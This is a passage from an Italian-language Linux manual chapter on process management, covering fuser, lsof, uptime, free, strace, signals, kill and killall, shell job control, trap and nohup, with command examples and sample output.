fuser [opzioni] file...
```

Il compito normale di Fuser è quello di elencare i processi che utilizzano i file indicati come argomento. In alternativa, '**fuser**' permette anche di inviare un segnale ai processi che utilizzano un gruppo di file determinato, con l'opzione '**-k**'.

L'eseguibile '**fuser**' potrebbe trovarsi nella directory '/usr/sbin/', ma può essere utilizzato anche dagli utenti comuni per buona parte delle sue funzionalità.

Quando si utilizza Fuser per ottenere l'elenco dei processi che accedono a file determinati, i numeri di questi processi sono abbinati a una lettera che indica il modo in cui accedono:

Lettera	Descrizione
`c`	directory corrente;
`e`	processo in esecuzione;
`f`	file aperto (spesso questa lettera non viene mostrata affatto);
`F`	file aperto in scrittura (spesso questa lettera non viene mostrata affatto);
`r`	directory radice;
`m`	file mappato in memoria o libreria condivisa.

L'eseguibile '**`fuser`**' restituisce il valore zero quando tra i file indicati come argomento ne esiste almeno uno che risulta utilizzato da un processo.

Tabella 10.50. Alcune opzioni.

Opzione	Descrizione
`-a`	Mostra tutti i file indicati nell'argomento, anche se non sono utilizzati da alcun processo. Normalmente, '**`fuser`**' mostra solo i file in uso.
`-k`	Invia un segnale ai processi. Se non viene specificato diversamente attraverso l'opzione '**-*segnale***', si utilizza il segnale '**`SIGKILL`**'.
-***segnale***	Permette di specificare il segnale da inviare con l'opzione '**`-k`**'. In pratica, si tratta di un trattino seguito dal segnale espresso in forma numerica o in forma simbolica (per esempio '**`-TERM`**').
`-l`	Elenca i nomi dei segnali conosciuti.
`-c` `-m`	Utilizzando questa opzione può essere indicato solo un nome di file, il quale può essere un file di dispositivo, riferito a un'unità di memorizzazione innestata nel file system, o una directory che costituisce il punto di innesto della stessa. Quello che si ottiene è l'indicazione di tutti i processi che accedono a quella unità di memorizzazione.
`-u`	Viene aggiunta l'indicazione dell'utente proprietario di ogni processo.
`-v`	Mostra una tabellina dei processi abbinati ai file, in forma più chiara rispetto alla visualizzazione normale.
`-s`	Disabilita qualunque emissione di informazioni. Viene utilizzato quando tutto ciò che conta è il solo valore restituito dal programma.

Segue la descrizione di alcuni esempi.

- `#` **`fuser *`** [*Invio*]

  Mostra i processi che accedono ai file della directory corrente.

- `#` **`fuser -k /usr/games/*`** [*Invio*]

  Elimina tutti i processi che utilizzano file nella directory '`/usr/games/`'.

- `#` **`fuser -v -c /dev/sdb1`** [*Invio*]

  Mostra i processi che utilizzano in qualche modo il contenuto dell'unità di memoriz-

zazione '`/dev/sdb1`'. L'uso dell'opzione '**`-v`**' fa sì che si ottengano informazioni dettagliate.

- `#` **`fuser -v -c /mnt`** [*Invio*]

  Mostra i processi che utilizzano in qualche modo il contenuto della directory '`/mnt/`', intesa probabilmente come punto di innesto per un'unità di memorizzazione esterna.

- `#` **`fuser -k -c /dev/sdb1`** [*Invio*]

  Elimina tutti i processi che utilizzano file nel'unità '`/dev/sdb1`'.

Uno script può utilizzare '**`fuser`**' nel modo seguente per verificare che un file non sia utilizzato da alcun processo prima di eseguire una qualche azione su di esso.

```
#!/bin/sh
#
MIO_FILE=./mio_file
#
if fuser -s $MIO_FILE
then
    echo "Il file $MIO_FILE è in uso";
else
    #
    # Esegue qualche azione sullo stesso.
    #
    ...
fi
```

10.4.2 Lsof

Lsof serve a elencare i file aperti e si utilizza con la sintassi seguente:

```
lsof [opzioni] [file]...
```

Come si può vedere dal modello, con Lsof non è obbligatoria l'indicazione di un file o di una directory, perché in mancanza di queste informazioni, viene mostrato un elenco completo di file e directory aperte. Questa caratteristica di Lsof facilita la ricerca di file aperti all'interno di una certa posizione della gerarchia del file system (probabilmente scorrendo l'elenco dei file con l'aiuto di '**`less`**'), quando si cerca di eseguire il distacco di un disco e non si riesce perché un programma lo sta utilizzando.

Segue la descrizione di alcuni esempi.

- `$` **`lsof .`** [*Invio*]

  Elenca i file della directory corrente che sono aperti da processi appartenenti allo stesso utente che lancia il comando.

- $ **lsof** [*Invio*]

  Elenca tutti i file aperti dal sistema operativo, indipendentemente dai privilegi.

Per approfondire l'uso di Lsof, si può leggere la pagina di manuale *lsof(8)*.

10.5 Informazioni riepilogative

Oltre alle informazioni dettagliate sui processi possono essere interessanti delle informazioni riassuntive dell'uso delle risorse di sistema. Si tratta principalmente dell'utilizzo della CPU e della memoria centrale.

È il caso di ricordare che nei sistemi operativi multiprogrammati la CPU esegue i vari processi elaborativi a turno, per piccoli intervalli di tempo, ma i processi possono trovarsi in attesa di poter ricevere input o di poter emettere output, al di fuori della competenza diretta della CPU. Pertanto, la CPU può risultare inutilizzata, anche per la maggior parte del tempo di funzionamento.

Per ottenere queste informazioni si usano in particolare '**uptime**'[10] e '**free**'.[11] Il primo permette di conoscere da quanto tempo è in funzione il sistema senza interruzioni e con quale carico medio, il secondo mostra l'utilizzo della memoria.

$ **uptime** [*Invio*]

```
  5:10pm  up  2:21,  6 users,  load average: 0.45, 0.48, 0.41
```

$ **free** [*Invio*]

```
             total       used       free     shared    buffers     cached
Mem:         22724      22340        384      13884       3664       5600
-/+ buffers:            13076       9648
Swap:        16628       6248      10380
```

10.5.1 Utilizzo di «uptime»

```
uptime [opzioni]
```

Emette una sola riga contenente:

- l'orario attuale;
- da quanto tempo è in funzione il sistema;
- quante sessioni di lavoro sono aperte (viene indicato il numero di utenti che risultano collegati al sistema, ma può trattarsi anche dello stesso utente che si collega più volte);
- il carico medio di sistema dell'ultimo minuto, degli ultimi cinque minuti e degli ultimi 15 minuti, espresso in quantità di CPU impiegate.

Di solito, il carico medio è l'informazione meno comprensibile di tutte le altre. Questo valore rappresenta la quantità media di processi attivi, in coda per l'esecuzione da parte del kernel. Per processi attivi, qui si intendono quelli che non sono in pausa per qualche ragione, come l'attesa del completamento di un'altra funzione. Pertanto, un valore inferiore alla quantità di CPU disponibili, indica che la coda dei processi del kernel è rimasta vuota durante parte del tempo preso in considerazione, mentre un valore superiore a tale quantità indica un certo intasamento, cosa che può diventare preoccupante quando l'unità di tempo presa in considerazione è quella più grande.

$ **uptime** [*Invio*]

```
 17:44:33 up  1:47,  4 users,  load average: 0.46, 0.71, 1.19
```

In questo esempio si vede che negli ultimi 15 minuti è stato impiegato l'equivalente di 1,19 CPU. Trattandosi di un elaboratore provvisto di una CPU doppia, è come se uno dei due nuclei della CPU fosse rimasto libero l'81 % del tempo.

10.5.2 Utilizzo di «free»

Il programma '**free**' emette attraverso lo standard output delle informazioni relative alla memoria reale e virtuale (*swap*).

```
free [opzioni]
```

Tabella 10.55. Alcune opzioni.

Opzione	Descrizione
`-b`	I valori vengono espressi in byte.
`-k`	I valori vengono espressi in kibibyte (simbolo: «Kibyte») e si tratta della modalità predefinita.
`-t`	Visualizza anche una riga contenente i totali.
`-o`	Disabilita il cosiddetto aggiustamento dei *buffer*. Normalmente, senza questa opzione, la memoria tampone, ovvero quella destinata ai *buffer*, viene considerata libera.
`-s` ***secondi***	Permette di ottenere un aggiornamento continuo a intervalli regolari stabiliti dal numero di secondi indicato come argomento. Questo numero può essere anche decimale.

10.6 Controllo diagnostico con Strace

Alle volte può essere utile un controllo maggiore su ciò che fa un programma durante il suo funzionamento. Per questo viene in aiuto Strace[12] (ovvero *system call trace*) che consente di avviare un altro comando e di controllarne le chiamate di sistema e l'uso dei segnali.

Strace si utilizza in pratica attraverso l'eseguibile '**strace**', secondo uno dei due modelli sintattici seguenti:

```
strace [opzioni] comando [opzioni_del_comando]
```

```
strace [opzioni] -p pid_da_controllare
```

Le opzioni a disposizione dell'eseguibile '**strace**' sono numerose, ma la più importante da ricordare è '**-o**', con la quale si specifica il file all'interno del quale inserire le informazioni ottenute durante il funzionamento del comando che viene avviato. Si osservi l'esempio seguente:

$ **strace -o /tmp/ls.strace ls** [*Invio*]

Come si può intendere, si vuole vedere cosa succede avviando il programma '**ls**' senza argomenti. Il file '/tmp/ls.strace' che si ottiene potrebbe essere simile all'estratto seguente:

```
execve("/bin/ls", ["ls"], [/* 15 vars */]) = 0
uname({sys="Linux", node="dinkel", ...}) = 0
brk(0)                                  = 0x8058a88
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
…
write(1, "bin   dos   lib\t\tnano-hdb1.tar.g"..., 56) = 56
write(1, "boot  etc   lost+found\topt\t\t  sb"..., 52) = 52
write(1, "dev   home  mnt\t\tproc\t\t  SKELETO"..., 52) = 52
munmap(0x40012000, 4096)                = 0
exit_group(0)                           = ?
```

Nell'estratto mostrato si vede solo l'inizio e la fine del file. In particolare, all'inizio si riconosce l'utilizzo di file all'interno della directory '/etc/'; nella parte mancante si potrebbero notare anche i riferimenti alle librerie; infine, si vede il risultato emesso dal programma, costituito dall'elenco di file e directory, quindi la conclusione del programma stesso.

Strace può essere utile anche per chi non ha grande esperienza, per esempio per sapere dove un certo programma va a cercare certi file, o comunque per scoprire cosa c'è che impedisce il funzionamento di un programma.

Strace può essere usato anche per analizzare il funzionamento di un processo già attivo, con l'aiuto dell'opzione '**-p**':

$ **strace -p 12345** [*Invio*]

In questo caso, si vuole analizzare il funzionamento del processo elaborativo che ha il numero PID 12345. Con l'opzione '**-e trace=read**' si può limitare l'attenzione alla lettura dei dati dai vari descrittori:

$ **strace -p 12345 -e trace=read** [*Invio*]

In questo modo, si può vedere tutto ciò che viene letto dai vari descrittori del processo elaborativo numero 12345.

Strace può anche seguire i processi figli di un certo processo, utilizzando le opzioni '**-f**' e '**-F**':

$ **strace -f -F -p 12345** [*Invio*]

Con questo esempio, viene seguito il processo elaborativo numero 12345 e quelli che lui stesso avvia.

Per poter leggere ciò che fa un altro processo elaborativo, Strace deve essere avviato con i privilegi necessari. Per esempio, se Strace funziona con i privilegi dell'utente Tizio, può leggere i processi che sono stati avviati dallo stesso utente (a meno che sia l'utente '**root**' che avvia qualcosa con privilegi di un utente comune). In alcuni sistemi, Strace viene installato con il bit SUID attivato e la proprietà all'utente '**root**' (SUID-root). In questo modo, se tutti gli utenti possono avviare il programma, **chiunque può leggere ciò che fanno gli altri**, anche quando si inseriscono dati riservati come una parola d'ordine.

Tabella 10.57. Alcune opzioni per l'uso di Strace.

Opzione	Descrizione
-f -F -fF	Segue anche i processi figli.
-p ***pid***	Segue il processo elaborativo indicato attraverso il suo numero PID.
-o ***file***	Salva il risultato dell'analisi nel file indicato.
-e trace=***chiamata***	Tiene sotto controllo specificatamente la chiamata di sistema indicata.
-e trace=open,close,read,write	Tiene sotto controllo le chiamate di sistema principali per l'accesso ai file.
-e trace=file	Tiene sotto controllo tutte le chiamate di sistema che hanno per argomento il nome di un file.

Come esempio pratico in cui diventa molto importante l'uso di Strace si può considerare un programma che offre un servizio di rete, sotto il controllo di Inetd, il quale non funziona perché non trova un file (quindi si presume che fallisca la funzione ***open()***), ma non si sa di quale file si tratti. In questo caso, non è possibile conoscere il numero PID del processo elaborativo, perché viene avviato di volta in volta da Inetd, pertanto occorre avvalersi della coppia di opzioni '**-f**' e '**-F**':

$ **strace -f -F -e open -p $(pidof inetd)** [*Invio*]

Per semplificare il lavoro, si lascia al programma '**pidof**' il compito di determinare il numero PID del processo corrispondente a Inetd.

10.7 Invio di segnali ai processi

I segnali sono dei numeri ai quali i programmi attribuiscono significati determinati, relativi a quanto accade nel sistema. I segnali rappresentano sia un'informazione che un ordine: nella maggior parte dei casi i programmi possono intercettare i segnali e compiere delle operazioni correlate prima di adeguarsi al nuovo stato, oppure addirittura rifiutare gli ordini; in altri casi sono sottomessi immediatamente agli ordini. La tabella 10.3, apparsa all'inizio del capitolo, riassume i segnali descritti dallo standard POSIX, mentre l'elenco completo può essere ottenuto consultando la pagina di manuale *signal(7)*.

I numeri dei segnali sono stati abbinati a nomi standard che ne rappresentano in breve il significato (in forma di abbreviazione o di acronimo). I numeri dei segnali non sono standard

tra i vari sistemi Unix e dipendono dal tipo di architettura hardware utilizzata. Anche all'interno di GNU/Linux stesso ci possono essere differenze a seconda del tipo di macchina che si utilizza. Questo particolare è importante sia per giustificare il motivo per cui è opportuno fare riferimento ai segnali in forma verbale, sia per ricordare la necessità di fare attenzione con i programmi che richiedono l'indicazione di segnali esclusivamente in forma numerica (per esempio '**`top`**').

10.7.1 Segnali attraverso la tastiera

Alcuni segnali possono essere inviati al programma con il quale si interagisce attraverso delle combinazioni di tasti. Di solito si invia un segnale '**`SIGINT`**' attraverso la combinazione [*Ctrl c*], un segnale '**`SIGTSTP`**' attraverso la combinazione [*Ctrl z*] e un segnale '**`SIGQUIT`**' attraverso la combinazione [*Ctrl *].

L'effetto di queste combinazioni di tasti dipende dalla configurazione della linea di terminale. Questa può essere controllata o modificata attraverso il programma '**`stty`**' (15.7.2). Come si può vedere dall'esempio seguente, alcune combinazioni di tasti (rappresentate nella forma **`^`*x***) sono associate a delle funzioni. Nel caso di quelle appena descritte, le funzioni sono '**`intr`**', '**`susp`**' e '**`quit`**'.

`$` **`stty -a`** [*Invio*]

```
speed 38400 baud; rows 25; columns 80; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>;
eol2 = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; flush = ^O; min = 1; time = 0;
-parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon ixoff
-iuclc -ixany -imaxbel
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon -iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt
echoctl echoke
```

Riquadro 10.59. Le origini dei segnali dalla tastiera.

L'idea del segnale inviato attraverso la tastiera deriva dall'uso della telescrivente, con la quale, alcuni codici servivano per ottenere delle funzioni, senza generare un carattere da stampare. Questi codici fanno parte dello standard ASCII e, oltre ad avere una corrispondenza numerica, hanno un nome e una rappresentazione nella forma <^*x*>. Per esempio, il codice corrispondente al numero 3_{16}, si indica con il nome <*ETX*> (*End of text*) e viene rappresentato come <^*c*>.
Quando dalla telescrivente si passa alla tastiera di un elaboratore che utilizza un sistema operativo Unix, occorre considerare che i tasti e le combinazioni di tasti sono configurabili, pertanto vanno associati a delle funzioni della tastiera. Pertanto, alcune funzioni che non corrispondono alla produzione di codici che generano un carattere tipografico, vengono associate con '**`stty`**' all'invio di un segnale al processo in funzione, ovvero al processo che usa la tastiera stessa. Quindi, la combinazione di tasti [*Ctrl c*] si presume sia associata alla funzione <*Control_c*> che '**`stty`**' indica come '**`^C`**' seguendo la tradizione della telescrivente.

10.7.2 Segnali attraverso la shell

Le shell offrono generalmente dei comandi interni per l'invio di segnali ai processi da loro avviati. In particolare, quelle che come Bash sono in grado di gestire i *job*, ovvero i gruppi di elaborazione, utilizzano i segnali in modo trasparente per fare riprendere un processo sospeso.

Per esempio, nel caso di Bash, se un processo viene sospeso attraverso la combinazione [*Ctrl z*], cosa che dovrebbe generare un segnale '**SIGTSTP**' (in base alla configurazione della linea di terminale), questo può essere riportato in primo piano e in funzione, attraverso il comando '**fg**', con il quale in pratica si invia al processo un segnale '**SIGCONT**'.

10.7.3 Comandi «kill...»

Il modo normale per inviare un segnale a un processo è l'uso di '**kill**': questo, a seconda dei casi, può essere un comando interno di shell o un programma. Il nome '**kill**' deriva in particolare dall'effetto che si ottiene utilizzandolo senza l'indicazione esplicita di un segnale da inviare: quello predefinito è '**SIGTERM**' attraverso il quale si ottiene normalmente la conclusione del processo destinatario.

Attraverso '**kill**' si riesce solitamente a ottenere un elenco dei segnali disponibili con il loro numero corrispondente. Ciò è molto importante per conoscere esattamente quale numero utilizzare con i programmi che non permettono l'indicazione dei segnali in forma verbale.

$ **kill -l** [*Invio*]

```
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGIOT       7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     17) SIGCHLD
18) SIGCONT     19) SIGSTOP     20) SIGTSTP     21) SIGTTIN
22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO
30) SIGPWR
```

In un sistema GNU/Linux sono disponibili anche altri programmi con funzioni analoghe: '**killall**' e '**killall5**'. Per cominciare, quella che segue è la sintassi del comando '**kill**':

kill [*opzioni*] [*numero_pid*...]

Se non viene specificato, il segnale predefinito è '**SIGTERM**' che normalmente procura la conclusione dell'esecuzione dei processi destinatari. Questo giustifica il nome '**kill**'.[13]

Tabella 10.61. Alcune opzioni.

Opzione	Descrizione
-s *segnale*	Specifica il nome o il numero del segnale da inviare.
-l	Mostra l'elenco dei segnali disponibili con i numeri corrispondenti.

Segue la descrizione di alcuni esempi.

- $ **kill -s SIGHUP 1203** [*Invio*]

  Invia il segnale '**SIGHUP**' al processo corrispondente al numero 1203.

- $ **kill -s 1 1203** [*Invio*]

  Esattamente come nell'esempio precedente, in un sistema GNU/Linux.

- $ **kill -l** [*Invio*]

  Mostra l'elenco dei segnali disponibili.

Negli esempi di questo documento viene indicato spesso il segnale da inviare senza l'opzione '**-s**', usando piuttosto la forma '**-*segnale***'. Questo modo di indicare il segnale riguarda il comando interno omonimo della shell Bash.

Il programma '**killall**' invia un segnale a tutti i processi che eseguono i comandi specificati.

```
killall [opzioni] [-segnale] [comando...]
```

Si utilizza quindi '**killall**' per inviare un segnale a dei processi identificati per nome. Se non viene specificato il segnale da inviare, si utilizza '**SIGTERM**'. I segnali possono essere indicati per nome o per numero.[14]

Tabella 10.62. Alcune opzioni.

Opzione	Descrizione
-s ***segnale***	Specifica il nome o il numero del segnale da inviare.
-l	Mostra l'elenco dei segnali disponibili con i numeri corrispondenti.

L'esempio seguente invia il segnale '**SIGHUP**' a tutti i processi avviati con il comando '**pippo**'. I processi soggetti a questo sono solo quelli che appartengono all'utente che invia il segnale.

$ **killall -HUP pippo** [*Invio*]

Il programma '**killall5**'[15] consente di inviare un segnale a tutti i processi elaborativi in funzione, esclusi quelli della propria sessione e quelli strettamente connessi con il kernel (*kernel thread*). Potrebbe essere utilizzato nella procedura di arresto del sistema.

```
killall5 -n_segnale
```

È il caso di rammentare che altri programmi potrebbero avere la facoltà di inviare segnali ai processi, come funzione accessoria. Per esempio '**fuser**', usato con l'opzione '**-k**' può inviare un segnale ai processi che utilizzano un certo file (sezione 10.4.1).

10.8 Controllo dei «job» di shell

Attraverso alcune shell è possibile gestire i *job*, ovvero i «gruppi di elaborazione», che in questo caso rappresentano raggruppamenti di processi generati da un solo comando impartito alla shell stessa.

La shell Bash e in generale le shell POSIX, oltre alla shell Korn e alla shell C, gestiscono questo tipo di raggruppamenti di processi. Nelle sezioni seguenti si fa riferimento al comportamento di Bash (in qualità di shell POSIX), ma la maggior parte di quanto spiegato in queste sezioni vale anche per le shell Korn e C (‘**`ksh`**’ e ‘**`csh`**’).

Non si deve confondere il gruppo di elaborazione di una shell con un processo. Un processo è un singolo eseguibile messo in funzione: se questo a sua volta avvia un altro eseguibile, viene generato un nuovo processo a esso associato. Un gruppo di elaborazione rappresenta tutti i processi che vengono generati da un comando impartito tramite la shell. Basta immaginare cosa succede quando si utilizza un condotto di programmi (*pipeline*), dove l'output di un programma è l'input del successivo.

10.8.1 Processi in primo piano e processi sullo sfondo

L'attività di un gruppo di elaborazione può avvenire in primo piano (*foreground*) o sullo sfondo (*background*). Nel primo caso, il gruppo di elaborazione impegna la shell e quindi anche il terminale, mentre nel secondo la shell è libera da impegni e così anche il terminale. Di conseguenza, non ha senso pretendere da un programma che richiede l'interazione continua con l'utente che possa anche funzionare sullo sfondo.

Se un programma richiede dati dallo standard input o ha la necessità di emettere dati attraverso lo standard output o lo standard error, per poterlo avviare come gruppo di elaborazione sullo sfondo, bisogna almeno provvedere a ridirigere l'input e l'output.

10.8.2 Avvio di un gruppo di elaborazione sullo sfondo

Un programma è avviato esplicitamente come gruppo di elaborazione sullo sfondo quando alla fine della riga di comando viene aggiunto il simbolo ‘**`&`**’. Per esempio:

```
# make bzImage > ~/make.msg & [Invio]
```

avvia sullo sfondo il comando ‘**`make bzImage`**’, per generare un kernel, dirigendo lo standard output verso un file per consentire un controllo successivo dell'esito della compilazione.

Dopo l'avvio di un programma come gruppo di elaborazione sullo sfondo, la shell restituisce una riga contenente il numero del gruppo di elaborazione e il numero del processo terminale generato da questo (il numero PID). L'esempio seguente rappresenta il gruppo di elaborazione numero uno che termina con il processo 173:

```
[1] 173
```

Se si avvia un gruppo di elaborazione sullo sfondo, quando a un certo punto questo ha la necessità di emettere dati attraverso lo standard output o lo standard error e tali flussi di dati non sono stati ridiretti, si ottiene una segnalazione simile a quella seguente:

```
[1]+ Stopped (tty output) pippo
```

Nell'esempio, il gruppo di elaborazione avviato con il comando '**pippo**' si è bloccato in attesa di poter emettere dell'output. Nello stesso modo, se viene avviato un gruppo di elaborazione sullo sfondo che a un certo punto ha la necessità di ricevere dati dallo standard input, ma questo non è stato ridiretto, si ottiene una segnalazione simile alla seguente:

```
[1]+ Stopped (tty input) pippo
```

10.8.3 Sospensione di un gruppo di elaborazione in primo piano

Se è stato avviato un gruppo di elaborazione in primo piano e si desidera sospenderne l'esecuzione, si può inviare attraverso la tastiera il carattere '**susp**', che di solito si ottiene con la combinazione [*Ctrl z*]. Il gruppo di elaborazione viene sospeso e posto sullo sfondo. Quando un gruppo di elaborazione viene sospeso, la shell genera una riga come nell'esempio seguente dove il gruppo di elaborazione '**pippo**' è stato sospeso:

```
[1]+ Stopped pippo
```

10.8.4 Utilizzo di «jobs»

Il comando di shell '**jobs**', permette di conoscere l'elenco dei gruppi di elaborazione esistenti e il loro stato.

jobs [*opzioni*] [*job*]

Per poter utilizzare il comando '**jobs**' occorre che non ci siano altri gruppi di elaborazione in esecuzione in primo piano, di conseguenza, quello che si ottiene è solo l'elenco di quelli sullo sfondo.

Tabella 10.67. Alcune opzioni.

Opzione	Descrizione
-l	Permette di conoscere anche i numeri PID dei processi di ogni gruppo di elaborazione.
-p	Emette solo il numero PID del processo iniziale di ogni gruppo di elaborazione.

Segue la descrizione di alcuni esempi.

- $ **jobs** [*Invio*]

  Si ottiene l'elenco normale dei gruppi di elaborazione sullo sfondo. Nel caso dell'esempio seguente, il primo gruppo di elaborazione è in esecuzione, il secondo è sospeso in attesa di poter emettere l'output, l'ultimo è sospeso in attesa di poter ricevere l'input.

```
[1]   Running                 yes >/dev/null &
[2]-  Stopped (tty output)    mc
[3]+  Stopped (tty input)     unix2dos
```

Per comprendere l'utilizzo dell'opzione '**-l**' e dell'opzione '**-p**' , occorre avviare sullo sfondo qualche comando un po' articolato.

- $ **yes | cat | sort > /dev/null &** [*Invio*]

```
[1] 594
```

- $ **yes | cat > /dev/null &** [*Invio*]

```
[2] 596
```

- $ **jobs -l** [*Invio*]

```
[1]-   592 Running                  yes
       593                        | cat
       594                        | sort >/dev/null &
[2]+   595 Running                  yes
       596                        | cat >/dev/null &
```

Come si può osservare, l'opzione '**-l**' permette di avere informazioni più dettagliate su tutti i processi che appartengono ai vari gruppi di elaborazione presenti.

- $ **jobs -p** [*Invio*]

Si ottiene soltanto l'elenco dei numeri PID del processo iniziale di ogni gruppo di elaborazione.

```
592
595
```

10.8.5 Riferimenti ai gruppi di elaborazione

L'elenco di gruppi di elaborazione ottenuto attraverso il comando '**jobs**', mostra in particolare il simbolo '**+**' a fianco del numero del gruppo di elaborazione attuale ed eventualmente il simbolo '**-**' a fianco di quello che diventerebbe il gruppo di elaborazione attuale se il primo termina o viene comunque eliminato.

Il gruppo di elaborazione attuale è quello a cui si fa riferimento in modo predefinito tutte le volte che un comando richiede l'indicazione di un gruppo di elaborazione, ma questo non viene fornito.

Di norma si indica un gruppo di elaborazione con il suo numero preceduto dal simbolo '**%**', ma si possono anche utilizzare altri metodi elencati nella tabella 10.73.

Tabella 10.73. Elenco dei parametri utilizzabili come riferimento ai gruppi di elaborazione della shell.

Simbolo	Descrizione
`%`***n***	Il gruppo di elaborazione con il numero indicato dalla lettera ***n***.
`%`***stringa***	Il gruppo di elaborazione il cui comando inizia con la stringa indicata.
`%?`***stringa***	Il gruppo di elaborazione il cui comando contiene la stringa indicata.
`%%`	Il gruppo di elaborazione attuale.
`%+`	Il gruppo di elaborazione attuale.
`%-`	Il gruppo di elaborazione precedente a quello attuale.

10.8.6 Comando «fg»

Il comando interno '**`fg`**' porta in primo piano un gruppo di elaborazione che in precedenza è stato messo sullo sfondo. Se non viene specificato il gruppo di elaborazione su cui agire, si intende quello attuale.

```
fg [job]
```

10.8.7 Comando «bg»

Il comando interno '**`bg`**' permette di fare riprendere (sullo sfondo) l'esecuzione di un gruppo di elaborazione sospeso. Ciò è possibile solo se il gruppo di elaborazione in questione non è in attesa di un input o di poter emettere l'output. Se non si specifica il gruppo di elaborazione, si intende quello attuale.

```
bg [job]
```

Quando si utilizza la combinazione [*Ctrl z*] per sospendere l'esecuzione di un gruppo di elaborazione, questo viene messo sullo sfondo e diviene il gruppo di elaborazione attuale. Di conseguenza, è normale utilizzare il comando '**`bg`**' subito dopo, senza argomenti, in modo da fare riprendere il gruppo di elaborazione appena sospeso.

10.8.8 Comando «kill»

Il comando interno '**kill**' funziona quasi nello stesso modo del programma omonimo. Di solito, non ci si rende conto che si utilizza il comando e non il programma. Il comando '**kill**' in particolare, rispetto al programma, permette di inviare un segnale ai processi di un gruppo di elaborazione, indicando direttamente il gruppo di elaborazione stesso.

kill [-s ***segnale*** | -***segnale***] [***job***]

Quando si vuole eliminare tutto un gruppo di elaborazione, a volte non è sufficiente un segnale '**SIGTERM**'. Se necessario si può utilizzare il segnale '**SIGKILL**' (con prudenza però).

Segue la descrizione di alcuni esempi.

- $ **kill -KILL %1** [*Invio*]

  Elimina i processi abbinati al gruppo di elaborazione numero uno, inviando il segnale '**SIGKILL**'.

- $ **kill -9 %1** [*Invio*]

  Elimina i processi abbinati al gruppo di elaborazione numero uno, inviando il segnale '**SIGKILL**', espresso in forma numerica.

10.9 Cattura dei segnali con la shell

Attraverso il comando interno '**trap**' di una shell standard, è possibile catturare ed eventualmente attribuire un comando (comando interno, funzione o programma) a un segnale particolare. In questo modo uno script può gestire i segnali. L'esempio seguente ne mostra uno ('**trappola**') in grado di reagire ai segnali '**SIGUSR1**' e '**SIGUSR2**' emettendo semplicemente un messaggio.

```
#!/bin/sh
#
trap 'echo "Ho catturato il segnale SIGUSR1"' SIGUSR1
trap 'echo "Ho catturato il segnale SIGUSR2"' SIGUSR2
#
# Ripete continuamente
#
while [ 0 ]
do
    #
    # Esegue un'operazione inutile
    #
    NULLA="ciao"
done
```

Supponendo di avere avviato lo script nel modo seguente, ottenendo il numero PID 1234, si osservi cosa accade:

$ **trappola &** [*Invio*]

$ **kill -s SIGUSR1 1234** [*Invio*]

```
Ho catturato il segnale SIGUSR1
```

$ **kill -s SIGUSR2 1234** [*Invio*]

```
Ho catturato il segnale SIGUSR2
```

10.9.1 Comando «trap»

Il comando espresso come argomento di '**trap**' viene eseguito quando la shell riceve il segnale o i segnali indicati.

> trap [-l] [*comando*] [*segnale*]

Se non viene fornito il comando, o se al suo posto si mette un trattino ('**-**'), tutti i segnali specificati sono riportati al loro valore originale (i valori che avevano al momento dell'ingresso nella shell), cioè riprendono il loro significato normale. Se il comando fornito corrisponde a una stringa nulla, il segnale relativo viene ignorato dalla shell e dai comandi che questo avvia. Il segnale può essere espresso in forma verbale (per nome) o con il suo numero. Se il segnale è '**EXIT**', pari a zero, il comando viene eseguito all'uscita della shell.

Se viene utilizzato senza argomenti, '**trap**' emette la lista di comandi associati con ciascun numero di segnale.

Segue la descrizione di alcuni esempi.

- $ **trap 'ls -l' SIGUSR1** [*Invio*]

  Se la shell riceve un segnale '**SIGUSR1**' esegue '**ls -l**'.

- $ **trap '' SIGUSR1** [*Invio*]

  La shell e tutti i processi figli ignorano il segnale '**SIGUSR1**'.

10.10 Trasformare dei programmi comuni in demoni

Per far sì che un programma, fatto per funzionare normalmente in modo interattivo, svolga il suo lavoro sullo sfondo, non è sempre sufficiente avviarlo dalla shell con l'operatore '**&**', dopo avere ridiretto opportunamente i suoi flussi standard, perché rimane la dipendenza dal processo che lo genera; infatti, al termine del funzionamento della shell il processo sullo sfondo sarebbe coinvolto nella stessa sorte. Per ovviare a tale inconveniente, è necessario che i processi diventino figli di '**init**'.

10.10.1 Utilizzo di «nohup»

Il programma '**nohup**' esegue un comando facendo in modo che questo non sia interessato dai segnali di interruzione di linea ('**SIGHUP**'). In questo senso, '**nohup**' permette di avviare dei processi che non devono interrompersi nel momento in cui l'utente che li avvia termina la sua sessione di lavoro (chiude la connessione con il terminale). Naturalmente, questo ha senso se i programmi vengono avviati sullo sfondo.[16]

nohup ***comando*** [***argomenti***]

In base a questo principio, cioè quello per cui si usa '**nohup**' per avviare un programma sullo sfondo in modo che continui a funzionare anche quando l'utente si scollega, la priorità di esecuzione viene modificata, aumentando il valore nice di cinque unità.

Il comando indicato come argomento non viene messo automaticamente sullo sfondo, per ottenere questo occorre aggiungere il simbolo '**&**' (e-commerciale) alla fine della riga di comando. Quando il comando indicato come argomento utilizza il terminale per emettere l'output, sia lo standard output, sia lo standard error vengono ridiretti verso il file '`./nohup.out`', oppure, se i permessi non lo consentono, verso il file '`~/nohup.out`'. Se questo file esiste già i dati vengono aggiunti.

Segue un esempio che mostra come si comporta '**nohup**'. Si comincia dall'avvio di una nuova copia della shell Bash nel modo seguente:

$ **bash** [*Invio*]

Viene avviato sullo sfondo il programma '**yes**' e il suo output viene semplicemente ridiretto verso '`/dev/null`':

$ **nohup yes > /dev/null &** [*Invio*]

```
[1] 1304
```

Il processo corrispondente ha il numero PID 1304. Si controlla lo stato dei processi attraverso '**ps**':

